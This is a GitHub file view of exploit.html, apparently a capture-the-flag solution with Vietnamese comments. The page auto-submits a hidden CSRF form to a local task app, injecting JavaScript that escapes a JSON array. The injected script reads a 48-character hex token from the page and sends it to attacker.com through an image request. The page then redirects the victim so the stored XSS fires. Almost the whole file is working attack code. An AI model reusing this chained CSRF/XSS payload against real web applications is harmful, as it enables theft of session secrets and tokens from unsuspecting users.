-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.html
More file actions
29 lines (26 loc) · 1.02 KB
/
Copy pathexploit.html
File metadata and controls
29 lines (26 loc) · 1.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!-- exploit.html đặt trên máy chủ của bạn (https://attacker.com) -->
<!doctype html>
<html>
<head><title>pwn</title></head>
<body>
<!-- 1️⃣ CSRF thêm ghi chú độc vào task #0 của admin -->
<form id="x" action="http://localhost:3000/tasks/0" method="POST" target="bg">
<input type="hidden" name="content"
value=""];(()=>{ /* thoát khỏi mảng JSON */
const m=document.body.innerText.match(/justToken\\{([0-9a-f]{48})\\}/);
if(m){ /* lấy 48 ký tự hex */
new Image().src='https://attacker.com/?t='+m[1]; /* exfil */
}
})();//">
</form>
<iframe name="bg" style="display:none"></iframe>
<script>
/* Gửi request CSRF ngay khi trang load */
document.getElementById('x').submit();
/* 2️⃣ Điều hướng nạn nhân tới trang hiển thị task để XSS kích hoạt */
setTimeout(() => {
location.href = 'http://localhost:3000/tasks/0';
}, 1000);
</script>
</body>
</html>